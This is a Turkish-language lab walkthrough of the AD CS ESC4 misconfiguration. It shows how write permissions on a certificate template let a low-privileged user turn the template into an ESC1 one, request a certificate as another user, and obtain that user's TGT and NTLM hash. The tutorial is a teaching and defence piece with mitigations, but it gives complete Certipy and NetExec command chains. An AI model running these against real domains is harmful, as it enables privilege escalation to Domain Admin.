ADCS — ESC4: İzinleri Değiştirdim, Sertifika İstedim, Domain Admin Oldum

Özet: ESC4, sertifika şablonları üzerindeki yazma izinlerinin (ACL) yanlış yapılandırılması sonucu ortaya çıkan bir zafiyettir. Bu açık sayesinde düşük yetkili kullanıcılar şablonları manipüle edebilir, şablonu "Enrollee Supplies Subject" moduna dönüştürerek (ESC1) yönetici adına sahte sertifika talep edebilir ve bu sayede Domain Admin yetkisi elde edebilir.

Sistemdeki Yapılandırma Hatası Nedir?

Active Directory Sertifika Hizmetleri'nde (AD CS) her sertifika şablonu, özünde Active Directory içerisinde birer nesnedir (object). Her AD nesnesinde olduğu gibi, sertifika şablonlarının da kimler tarafından düzenlenebileceğini, silinebileceğini veya okunabileceğini belirleyen Erişim Kontrol Listeleri (ACL — Access Control List) bulunur.

ESC4 zafiyetinin temelindeki yapılandırma hatası; şablonun ACL (security) sekmesinde, düşük yetkili kullanıcılara veya gruplara (Domain Users, Authenticated Users, Everyone) aşırı haklar tanınmış olmasıdır.

Bu aşırı haklar şunlar olabilir:

GenericAll / Full Control: Şablon üzerinde sınırsız yetki anlamına gelir. Saldırgan şablonun her ayarını değiştirebilir.
GenericWrite / WriteProperties: Şablona ait tüm özellikleri (sertifika amaçları, SAN izinleri vb.) üzerine yazarak değiştirebilme yetkisidir.
WriteDacl: Şablonun erişim izinlerini (ACL) değiştirme yetkisidir. Saldırgan bu yetkiyle önce kendisini tam yetkili yapar, ardından şablonu manipüle eder.
WriteOwner: Şablonun sahipliğini (Owner) üzerine alma yetkisidir. Sahipliği alan kullanıcı, şablon üzerinde otomatik olarak hak sahibi olur.

ESC4'ten ESC1'e Geçiş

Normal şartlarda sistem yöneticileri, kullanıcıların kendi isteklerine göre (SAN — Subject Alternative Name belirterek) Domain Admin adına sertifika üretmesini engelleyen güvenli şablonlar oluştururlar. Yani bir nevi ESC1 zafiyetini önlerler.

Ancak şablon üzerinde yukarıdaki hatalı izinlerden birini ayarladıkları zaman, düşük yetkili bir saldırgan şablonun ayarlarını değiştirerek onu adeta bir ESC1 (Enrollee Supplies Subject) zafiyetine dönüştürebilir. Sonrasında da bildiğiniz üzere Domain Admin adına sertifika talep ederek domainin tam kontrolünü elde edebilir.

Teoriden Pratiğe

Zafiyetin mantığını kavradığımıza göre artık işin mutfağına inebiliriz. Bu bölümde, ilk olarak bir sistem yöneticisinin AD CS konsolu üzerinde fark etmeden yaptığı o kritik hatayı yakından inceleyeceğiz. Ardından, sisteme sızmış düşük yetkili bir saldırgan gözünden bu şablonun izinlerini nasıl manipüle edeceğimizi ve adım adım exploit aşamasına nasıl geçeceğimizi göreceğiz.

Lab Ayarı: ESC4 Zafiyetli Şablon Oluşturma

Active Directory Sertifika Hizmetleri (AD CS) altındaki sertifika şablonlarını yönetmek amacıyla kullanılan yönetim konsolunu açalım:

Win + R → certtmpl.msc

ESC1'de olduğu gibi burada da sıfırdan bağımsız bir şablon oluşturamıyoruz, mevcut bir şablonu baz almamız gerekiyor. Yine User şablonunu çoğaltacağız.

Listeden User şablonunu bulup sağ tıklayalım ve Duplicate Template seçeneğine tıklayalım.

Açılan pencerede General sekmesine geçelim ve Template display name alanına ESC4-Vuln ismini verelim.

Şimdi asıl yapılandırma hatasını oluşturacağımız adıma geldik. Security sekmesine geçelim. Burada Add butonuna tıklayıp düşük yetkili kullanıcımızı (user1) listeye ekleyelim. Bu senaryoda yetkiyi doğrudan user1 kullanıcısına vereceğiz, ancak kullanıcı bazında değil grup bazında da yapılabilir.Örneğin Domain Users veya Authenticated Users grubuna yazma izni verildiğinde domain üzerindeki tüm kullanıcılar şablonu değiştirme yetkisine sahip olur ve bu çok daha geniş bir saldırı yüzeyi oluşturur.

Ardından varsayılan olarak gelen Read iznine ek olarak Write iznini verelim.

Peki normal şartlarda bir sistem yöneticisi bunu neden yapar? Belki şablonu belirli bir ekibin yönetmesini istemiştir, belki fark etmeden okuma izninin yanına yazma yetkisi de tanımlamıştır. Sebep ne olursa olsun sonuç aynı: düşük yetkili bir kullanıcı artık bu şablonun yapılandırmasını değiştirebilir.

Apply ve OK butonlarına basarak değişiklikleri kaydedelim. Son olarak, oluşturduğumuz bu zafiyetli şablonu ağdaki istemcilerin erişimine sunmak (devreye almak) için şu adımları izleyelim:

certsrv.msc (Certification Authority) konsolunu açalım.
Sol menüde bulunan Certificate Templates klasörüne sağ tıklayalım.
New → Certificate Template to Issue seçeneğine tıklayalım.
Açılan listeden az önce oluşturduğumuz ESC4-Vuln şablonunu seçerek OK butonuna basalım.

Exploit Adımları

Zafiyetli Şablonların Keşfi (Enumeration)

Önce ağda aktif bir Sertifika Yetkilisi (CA) sunucusunun var olup olmadığını doğrulamak için NetExec aracının ldap modülünü kullanalım:

nxc ldap 192.168.118.10 -u user1 -p 'user2026!' -M adcs

nxc ldap 192.168.118.10 -u user1 -p 'user2026!' -M adcs

CA sunucusunu doğruladıktan sonra, şablonlar genelinde herhangi bir yanlış yapılandırma olup olmadığını kontrol edelim:

certipy-ad find -u 'user1@pentest.local' -p 'user2026!' -dc-ip 192.168.118.10 -vulnerable -stdout

certipy-ad find -u 'user1@pentest.local' -p 'user2026!' -dc-ip 192.168.118.10 -vulnerable -stdout

Certipy'nin çıktısına baktığımızda user1'in ESC4-Vuln şablonu üzerinde tehlikeli izinlere sahip olduğunu görüyoruz ve şablon ESC4 olarak işaretlenmiş.

Şimdi bu şablonun yapılandırmasını user1 olarak ESC1'i tetikleyecek şekilde yeniden yazacağız. Ama komutu çalıştırmadan önce şunu belirteyim: Certipy, mevcut yapılandırmayı otomatik olarak bir .json dosyası olarak kaydediyor. Domain Admin yetkisini ele geçirip işimiz bitince şablonu eski haline döndürmek için bu dosyayı kullanacağız.

certipy-ad template -u 'user1@pentest.local' -p 'user2026!' -template ESC4-Vuln -write-default-configuration -dc-ip 192.168.118.10

certipy-ad template -u 'user1@pentest.local' -p 'user2026!' -template ESC4-Vuln -write-default-configuration -dc-ip 192.168.118.10

Buradaki -write-default-configuration parametresi Certipy'nin kendi tanımıyla şunu yapıyor: şablona varsayılan ESC1 yapılandırmasını uygula ve şablonu ESC1 saldırısına karşı savunmasız hale getir.

Komutu çalıştırdığımızda Certipy önce mevcut yapılandırmayı ESC4-Vuln.json olarak kaydetti, ardından şablonu güncelleyerek ESC1'e dönüştürdü. Çıktıda iki kritik değişikliğe dikkat edelim: pKIExtendedKeyUsage alanına 1.3.6.1.5.5.7.3.2 değeri yazıldı, bu Client Authentication EKU'sunun OID'si yani sertifikanın artık domain'e kimlik kanıtlamak için kullanılabileceği anlamına geliyor. msPKI-Certificate-Name-Flag değeri ise 1 olarak ayarlandı, bu da kullanıcının SAN alanına istediği kimliği yazabilmesine, yani EnrolleeSuppliesSubject özelliğinin aktif hale gelmesine karşılık geliyor. Şablon artık ESC1 saldırısına hazır.

Artık tıpkı ESC1'de yaptığımız gibi yetkisiz sertifika talebine geçebiliriz:

certipy-ad req -ca pentest-DC01-CA -target-ip 192.168.118.10 -dc-ip 192.168.118.10 -u 'user1@pentest.local' -p 'user2026!' -template "ESC4-Vuln" -upn "irem.yilmaz@pentest.local"

certipy-ad req -ca pentest-DC01-CA -target-ip 192.168.118.10 -dc-ip 192.168.118.10 -u 'user1@pentest.local' -p 'user2026!' -template "ESC4-Vuln" -upn "irem.yilmaz@pentest.local"

Şablon artık ESC1 yapılandırmasıyla güncellendiğinden CA, subjectAltName alanını doğrulamadan sertifikayı veriyor ve irem.yilmaz.pfx dosyası yerel dizinimize iniyor.

Sıra geldi bu sertifikayı kullanmaya. certipy-ad auth komutuyla sertifikayı DC'ye sunduğumuzda Kerberos PKINIT akışı tamamlanıyor ve irem.yilmaz'a ait TGT bileti ile NTLM hash değerini elde ediyoruz.

certipy-ad auth -pfx irem.yilmaz.pfx -dc-ip 192.168.118.10

certipy-ad auth -pfx irem.yilmaz.pfx -dc-ip 192.168.118.10

Son olarak testin kapsamında yaptığımız değişikliklerin kalıcı iz bırakmaması için şablonu kaydettiğimiz JSON dosyasıyla orijinal haline döndürüyoruz:

certipy-ad template -u 'user1@pentest.local' -p 'user2026!' -template ESC4-Vuln -write-configuration ESC4-Vuln.json -dc-ip 192.168.118.10

certipy-ad template -u 'user1@pentest.local' -p 'user2026!' -template ESC4-Vuln -write-configuration ESC4-Vuln.json -dc-ip 192.168.118.10

Certipy işlem öncesi yine yapılandırmayı kaydetmek istiyor ancak ESC4-Vuln.json zaten mevcut. İlk aşamada n diyoruz. Çünkü o dosya ilk adımda kaydettiğimiz orijinal yapılandırma, üzerine yazarsak geri dönüş noktamızı kaybederiz. Certipy dosyayı ESC4-Vuln_d2911b1b-b9d0-4e96-9d9e-b33259d9c806.json adıyla farklı bir isimle kaydediyor ve devam ediyor.

Ardından şablona geri yazılacak değerleri göstererek onay istiyor. Burada y diyoruz. Çünkü bu değerler tam olarak ESC1'e dönüştürmeden önceki orijinal yapılandırma. Onayladıktan sonra şablon eski haline dönüyor.

Önlem

Bu simülasyonda temel sorun, yetkisiz bir kullanıcının sertifika şablonu üzerinde yazma iznine sahip olmasıdır. Zafiyeti gidermek için öncelikle şablon izinlerinin düzenlenmesi yeterlidir.

Şablon İzinleri — certtmpl.msc → ilgili şablon → Security sekmesi → user1 veya yetkisiz kullanıcı/grupların Write, Full Control gibi izinleri kaldırılmalı, yalnızca Domain Admins ve Enterprise Admins bu tür izinlere sahip olmalıdır.

Şablon Değişiklik Denetimi — gpmc.msc → Domain Controllers → Default Domain Controllers Policy → Edit → Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Audit Policies → DS Access → Audit Directory Service Changes açılarak Configure the following audit events işaretlenmeli ve Success etkinleştirilmelidir. Bu ayar, Active Directory üzerindeki nesnelerde yapılan değişiklikleri kayıt altına alır. Sertifika şablonları da birer AD nesnesi olduğundan, herhangi biri şablon üzerinde izin değişikliği ya da yapılandırma güncellemesi yaptığında bu olay Event ID 5136 olarak Domain Controller'ın güvenlik loglarına düşer. Log kaydında hangi kullanıcının, hangi şablonu, ne zaman değiştirdiği bilgisi yer alır; bu sayede ESC4 saldırısındaki şablon yeniden yazma adımı tespit edilebilir.